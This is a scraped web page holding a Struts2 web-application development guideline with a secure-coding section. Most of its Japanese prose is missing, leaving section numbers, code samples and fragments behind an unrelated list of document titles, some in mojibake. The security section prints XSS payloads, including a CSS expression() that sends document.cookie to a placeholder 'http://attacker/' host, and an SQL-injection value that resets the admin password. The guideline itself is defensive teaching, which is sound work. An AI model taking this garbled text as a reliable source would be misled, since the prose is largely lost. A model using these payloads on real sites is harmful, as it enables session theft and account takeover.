ActionClass JSP ActionClass ActionClass Action PG



Similar documents

Copyright 2006 Mitsui Bussan Secure Directions, Inc. All Rights Reserved. 3 Copyright 2006 Mitsui Bussan Secure Directions, Inc. All Rights Reserved.

第3回_416.ppt

tkk0408nari

¥Í¥Ã¥È¥ï¡¼¥¯¥×¥í¥°¥é¥ß¥ó¥°ÆÃÏÀ

"CAS を利用した Single Sign On 環境の構築"

Web Servlet/JSP JSP

untitled

0序文‐1章.indd

Web 1 p.2 1 Servlet Servlet Web Web Web Apache Web Servlet JSP Web Apache Tomcat Jetty Apache Tomcat, Jetty Java JDK, Eclipse

Servlet JSP JSP Servlet/JSP における 日 本 語 の 処 理 - 1

II 1 p.1 1 Servlet 1.1 Web Web WWW HTML CGI Common Gateway Interface Web HTML Web Web CGI CGI CGI Perl, PHP C JavaScript Web CGI HTML 1.2 Servlet Java

HTML/JSP/Servlet... 7 JSP... 7 Servlet Struts Struts Struts FormBean LoginForm


コンピュータサイエンス 4. ウェブプログラミング

Gartner Day

Q&A集

InfoPros13_digest.key

Blojsom におけるクロスサイトスクリプティングの脆弱性

HTML Java Tips dp8t-asm/java/tips/ Apache Tomcat Java if else f

9iAS_DEV.PDF

表 2 michael のパスワード変更後の USER_ACL テーブル内容 リスト2は userpwd プログラムのソースリストである Perl で書かれたプログラムで,DBI インタフェー注ス ( 1 注 ) を使用して MySQL( 2 ) データベースへアクセスする 5 7 行目では, コマ

HTML web HTML HTML

Web JavaScript Java Applet Flash ActionScript CGI (C, perl, ruby ) PHP Servlet, JSP (JavaServer Pages) ASP 7-2

m_sotsuron

HTML Java Tips dp8t-asm/java/tips/ Apache Tomcat Java if else f

GulfStar1.5ユーザーマニュアル

pdf

II 2 p.2 2 GET POST form action URL Aisatsu 2.1 Servlet GET GET : Query String QueryStringTest.java 1 import java.io.ioexception; 2 import java.io.pri

¥Í¥Ã¥È¥ï¡¼¥¯¥×¥í¥°¥é¥ß¥ó¥°ÆÃÏÀ

●70974_100_AC009160_KAPヘ<3099>ーシス自動車約款(11.10).indb

サーブレット (Servlet) とは Web サーバ側で動作する Java プログラム 通常はapache 等のバックグラウンドで動作する Servletコンテナ上にアプリケーションを配置 代表的な Servlet コンテナ Apache Tomcat WebLogic WebSphere Gla

java_servlet2_見本

10/ / /30 3. ( ) 11/ 6 4. UNIX + C socket 11/13 5. ( ) C 11/20 6. http, CGI Perl 11/27 7. ( ) Perl 12/ 4 8. Windows Winsock 12/11 9. JAV

shio_ PDF

あいち電子自治体ガイドライン(第1章)

第2回_416.ppt

Part1 159 a a

untitled

メディプロ1 Javaサーブレット補足資料.ppt

TopLink å SampleClient.java... 5 Ò readallsample() querysample() cachesample() Ç..

-34-

PowerPoint Presentation

JavaScript の使い方

Microsoft PowerPoint - Lecture_2

Microsoft PowerPoint - Lecture_3

ValueHolder... 9 Customer.java Oracle TopLink 10g(10.1.3) È Volume3 2

Oracle JDeveloper 10g ADF Creation Date: Jul 07, 2004 Last Update: Jul 08, 2004 Version 1.0

HTML文書の作成

ii II Web Web HTML CSS PHP MySQL Web Web CSS JavaScript Web SQL Web

[1]...1 [2]...1 [3] Java Web...3 [4] Java Web...18 [

オンラインテスト

Oracle9i JDeveloperによるWebサービスの構築

07_経営論集2010 小松先生.indd

d_appendixB-asp10appdev.indd

ohp.mgp

intra-mart im-JavaEE Framework

Microsoft PowerPoint ppt

コンピュータサイエンス 1. ウェブの基本

HTTP Web Web RFC2616 HTTP/1.1 Web Apache Tomcat (Servlet ) XML Xindice Tomcat 6-2

SpringSecurity

intra-mart im-J2EE Framework

Microsoft PowerPoint - A07回目②.pptx

¥Í¥Ã¥È¥ï¡¼¥¯¥×¥í¥°¥é¥ß¥ó¥°ÆÃÏÀ

: 1/15( ): HTML web page (2) 1/18( ): (1) 1/25( ): (2) 1

intra-mart WebPlatform/AppFramework

PowerPoint プレゼンテーション

22 (266) / Web PF-Web Web Web Web / Web Web PF-Web Web Web Web CGI Web Web 1 Web PF-Web Web Perl C CGI A Pipe/Filter Architecture Based Software Gener

3 Powered by mod_perl, Apache & MySQL use Item; my $item = Item->new( id => 1, name => ' ', price => 1200,

intra-mart Accel Platform — イベントナビゲータ 開発ガイド   初版   None

intra-mart Accel Platform — イベントナビゲータ 開発ガイド   初版  

3 Java 3.1 Hello World! Hello World public class HelloWorld { public static void main(string[] args) { System.out.println("Hello World");


A B C A B C Ctrl (S) 5 A B C 11.2: (F) (A) ( OK ) 3 (E) ( ) (E)

untitled

WebOTXマニュアル

25 About what prevent spoofing of misusing a session information

WTM2019SingleSignOn

事例に見るSCORMの・・・

5-5_arai_JPNICSecSemi_XssCsrf_CM_ PDF

Web Web Web 2

JavaScriptプログラミング入門

2 Java 35 Java Java HTML/CSS/JavaScript Java Java JSP MySQL Java 9:00 17:30 12:00 13: 項目 日数 時間 習得目標スキル Java 2 15 Web Java Java J

How to Automate Using PowerShell-JP

WordPress Web

Java演習(4) -- 変数と型 --

橡Taro9-生徒の活動.PDF

(CC Attribution) Lisp 2.1 (Gauche )

untitled

橡t15-shibuya.kashiwa.ppt

ホームページ制作スターターズ

Web±ÜÍ÷¤Î³Ú¤·¤µ¤ò¹â¤á¤ëWeb¥Ú¡¼¥¸²ÄÄ°²½¥·¥¹¥Æ¥à

ERP連携モジュールチュートリアル

Servlet/JSP ( 作成中 ) 2010 年 x 月 x 日作成 Firebird 日本ユーザー会 Naoyuki Sano 1

textbook.indd


Web用-全頁

Oracle9i JDeveloper R9.0.3 チュートリアル

presen.gby

橡ホームページの作り方

Transcription:

WEB 2008.2.10

1....4 2....4 3....5 4. ActionClass...5 5....6 5.1. JSP...6 5.2. ActionClass...6 5.3. ActionClass...7 5.4. Action PG...7 6....8 6.1....8 6.2....8 7....9 7.1....9 7.1.1....10 7.1.2....10 7.1.3. URL...11 7.1.4....13 7.1.5. <SCRIPT> </SCRIPT>...14 7.1.6. <!-- -->...14 7.1.7....14 7.1.8....15 7.2....16 7.3....17 7.4. POST...17 7.5. Web...18 7.6. hidden...18 7.7. SQL...19 8....19 9....19 10....19 10.1....19

10.2....20 10.3. 1...20 10.4....20 10.4.1. Java...20 10.4.2. JavaScript...21 10.4.3....21 11....22 11.1. URL...22 11.1.1....22 11.1.2. ZeroConfiguration http://struts.apache.org/2.x/docs/zero-configuration.html...22 11.1.3. http://struts.apache.org/2.x/docs/stream-result.html...22 11.1.4. JFreeChart http://struts.apache.org/2.x/docs/jfreechart-plugin.html...22 11.1.5. JavaProgrammingStyleGuidelines...22 11.1.6. Java...22 11.2....22 11.2.1. Action Class HttpRequestHttpResponse...22 11.2.2. ActionClass...23 11.3. XSS...24 11.4. SQL...27

1. Struts2 Framework Web Zero Configuration 2. Web CSVSG Struts2 struts2 2.1 Struts2 Struts 2

Struts2 3. 4. ActionClass ActionClass Action

5. Struts2 Framework 5.1. JSP HelloWorld.jsp 5.2. ActionClass HelloWorld.java

5.3. ActionClass struts.xml 5.4. Action PG ActionClass Test JUnit HelloWorldTest.java

6. Struts 2 2 6.1. ActionSupport validate public void validate() { LinkedList errormessages = new LinkedList(); if ( username == null username.length() == 0 ) { errormessages.add("username field is required."); } if ( password == null password.length() == 0 ) { errormessages.add("password field is required."); } if (!errormessages.isempty() ) { setactionerrors(errormessages); } } 6.2. validation.xml Sample2Input.jsp <s:form action= Sample2 > <s:textfield label= name= item /> <s:submit /> </s:form> Sample2-validation.xml <validators> <validator type= requiredstring > <param name= fieldname >item </param>

<message> XXX </message> </validator> </ validators 7. Web Buffer Overflow Cross Site Scripting Parameter Manipulation Backdoor & Debug Options Forceful Browsing Session HijackingReplay Path Traversal SQL InjectionSQL OS Command InjectionOS (10)Client Side Comment (11)Error Codes 7.1.

7.1.1. HTML 3 & & < < > > <SCRIPT> 7.1.2. HTML 5 & & < < > > " " ' &#39; 5 <IMG src="$selected_icon"> <IMG src=$selected_icon> $selected_icon="no_such_icon onerror=alert(document.cookie);" <IMG src=no_such_icon onerror=alert(document.cookie);>

7.1.3. URL A href IMG src URL URL URL URL URL javascript:alert("hello"); vbscript:msgbox("hello"); about:<script>alert("hello");</script> NetscapeNavigator 1 A 3 Mozilla0.9.5 Windows NetscapeNavigator 1 <A href="&{alert('hello');};">need not to click me</a> 2 3 <A href="javascript:alert('clicked'); &{alert('page loaded');};">here</a> 4 5 NetscapeNavigator 4.72 Windows URL URL URL URL HTML URL 3 ez_url_sanitize() RFC2396 1 URL 14 httphttpsmailto2028

URL URL URL HTML 3437 1RFC2396 URIUniformed Resource Identifiers URLUniformed Resource Locators URI URI http:ftp:mailto:url URL RFC2396 812 RFC2396 URL URL ;/?:@&=+$, -_.!~*'()% 18 RFC2396 URL +-.RFC2396 Perl 18 20 2426 3132 &' HTML 14 URL $url <>"<>" HTML 3 URL 1 $url = &ez_url_sanitize($url); # $url 2 3 sub ez_url_sanitize { 4 my $url = $_[0]; 5 6 ### URL ### 7 # --- http://www.ietf.org/rfc/rfc2396.txt --- 8 # uric = reserved unreserved escaped 9 # reserved = ";" "/" "?" ":" "@" "&" "=" "+" "$" "," 10 # unreserved = alphanum mark 11 # mark = "-" "_" "." "!" "~" "*" "'" "(" ")" 12 # escaped = "%" hex hex

13 14 return '' if($url =~ m [^;/?:@&=+ $,A-Za-z0-9 -_.!~*'()%] ); 15 16 ### ### 17 # --- http://www.ietf.org/rfc/rfc2396.txt --- 18 # scheme = alpha *( alpha digit "+" "-" "." ) 19 20 if($url =~ /^([A-Za-z][A-Za-z0-9+ -.]*):/) { 21 # $url 22 my $scheme = lc($1); # 23 my $allowed = 0; 24 $allowed = 1 if($scheme eq 'http'); 25 $allowed = 1 if($scheme eq 'https'); 26 $allowed = 1 if($scheme eq 'mailto'); 27 return '' if(not $allowed); 28 } 29 30 ### HTML ### 31 # special = "&" "<" ">" '"' "'" 32 # URL "<"">"'"'$url 33 34 $url =~ s/&/&/g; # & & 35 $url =~ s/'/&#39;/g; # ' &#39; 36 37 return $url; 38 } 7.1.4. on onchange onmouseover onload onerror

HTML 1 <SPAN onmouseover="alert('');"></span> OPTION value 7.1.5. <SCRIPT> </SCRIPT> <SCRIPT> external.js 1 <SCRIPT src="external.js"></script> 7.1.6. <!-- --> <!-- --> 1 1 <script> 2 <!-- 3 alert('in the comment'); 4 --> 5 </script> 7.1.7. CSS HTML IPA 1 <BR style=left:expression(eval(

'document.location="http://www.ipa.go.jp/";'))> 1 <STYLE type="text/javascript"> 2 document.location="http://www.ipa.go.jp/"; 3 </STYLE> JavaScript 7.1.8. HTML <HEAD></HEAD> metalic_design.css metalic_design.css 1 <LINK rel="stylesheet" href="metalic_design.css"> URL 1 <LINK rel="stylesheet" href="javascript:alert('hello');"> 1 <STYLE type="text/css"> 2 @import url(javascript:alert('hello')); 3 </STYLE> http://victim/index.html http://attacker/malicious.css malicious.css http://attacker/ http://victim/ http://victim/index.html 1 <LINK rel="stylesheet" href="http://attacker/malicious.css"> http://attacker/malicious.css 1 body { left: expression(eval( 2 'document.location="http://attacker/"+document.cookie;')) }

7.2. JavaScript WWW WWW HTML JavaScript 4 5

7.3. ID Web 7.4. POST Web POST http://www.victimail.jp/cgi-bin/showmail.cgi?user=97044710&pw=0409&mb ox=1&mailid=385 URL?"user=97044710""pw=0409" ID

7.5. Web ID Web 7.6. hidden hidden Web HTML hidden WWW WWW hidden HTML 5 hidden MEMBERFLG 0 HTML HTML HTML

7.7. SQL SQL $yosan SELECT HINMEI, KAKAKU FROM SHOUHIN_TABLE WHERE KAKAKU<=$yosan SQL $yosan SQL 8. Log4j 9. properties struts.xml MessageResources.properties <struts> <constant name = struts.custom.i18n.resources value= MessageResources /> 10. 10.1. Java 9.5 Java http://www.tcct.zaq.ne.jp/ayato/programming/java/codeconv_jp/

Java 10.2. HTMLXMLJSP 10.3. 1 Java 1 80 1 100 10.4. 10.4.1. Java Class Method Field JavaDoc

10.4.2. JavaScript Java 10.4.3. JSPHTMLXML

11. 11.1. URL 11.1.1. http://www.ipa.go.jp/security/vuln/vuln_contents/ 11.1.2. ZeroConfiguration http://struts.apache.org/2.x/docs/zero-configuration.html 11.1.3. http://struts.apache.org/2.x/docs/stream-result.html 11.1.4. JFreeCharthttp://struts.apache.org/2.x/docs/jfreechart-plugin.html 11.1.5. JavaProgrammingStyleGuidelines http://geosoft.no/development/javastyle.html#introduction 11.1.6. Java http://www.tcct.zaq.ne.jp/ayato/programming/java/codeconv_jp/ 11.2. 11.2.1. Action Class HttpRequestHttpResponse // // struts.xml // <action name="accessrequest" class="net.roseindia.accessrequest"> <result>/pages/staticparameter/accessrequest.jsp</result> </action> // // AccessRequest.java // ServletRequestAware,ServletResponseAware implements // setservletrequestsetservletresponsegetservletrequest // getservletresponse package net.roseindia; import javax.servlet.http.httpservletrequest; import javax.servlet.http.httpservletresponse; import com.opensymphony.xwork2.actionsupport; import org.apache.struts2.interceptor.servletrequestaware; import org.apache.struts2.interceptor.servletresponseaware; public class AccessRequest extends ActionSupport implements ServletRequestAware,ServletResponseAware{ private HttpServletRequest request; private HttpServletResponse response; public String execute() throws Exception{

return SUCCESS; } public void setservletrequest(httpservletrequest request){ this.request = request; } public HttpServletRequest getservletrequest(){ return request; } public void setservletresponse(httpservletresponse response){ this.response = response; } } public HttpServletResponse getservletresponse(){ return response; } // //AccessRequest.jsp // <%@ taglib prefix="s" uri="/struts-tags" %> <%@page language="java" import="java.util.*" %> <html> <head><title>access Request and Response Example! </title> </head> <body> <h1><span style="background-color: #FFFFcc">Access Request and Response Example!</span></h1> <b>request: </b><%=request%><br> <b>response: </b><%=response%><br> <b>date: </b><%=new Date()%> </body> </html> 11.2.2. ActionClass // // SomeAction.java // import java.util.map; import org.apache.struts2.interceptor.sessionaware; public class SomeAction extends ActionSupport implements SessionAware{ // private Map session; public String execute() throws Exception { session.put("message", ""); return SUCCESS; } // public void setsession(map session) {

// this.session = session; } } // // SomeAction.jsp // <%@ page contenttype="text/html; charset=utf-8" %> <%@ page pageencoding="windows-31j" %> <%@ taglib uri="/struts-tags" prefix="s" %> <html> <head><title></title></head> <body> <h2>: <s:property value="#session.message "/></h2> </body> </html> 11.3. XSS XSS HTML 7.2.1 cgi

7.2.2 HTML 7.2.1 HTML XSS HTML <s>kokubu</s> XSS Web kokubu ( 7.2.3)

7.2.3 kokubu HTML <s>kokubu</s> <s>kokubu</s> script <script>alert("xss");</script> XSS

7.2.4 script <script>alert("xss");</script> 11.4. SQL SQL SQL SQL SQL UPDATE USER_TBL SET PASSWORD=$newpwd WHERE USER=$user AND PASSWORD=$curpwd ID $user $curpwd $newpwd SQL $curpwd "paul' or USER='admin" SQL USER smith PASSWORD paul USER admin UPDATE SQL UPDATE USER_TBL SET PASSWORD=$newpwd WHERE USER=$user AND PASSWORD='paul' or USER='admin'

."WHERE KAKAKU<=$yosan";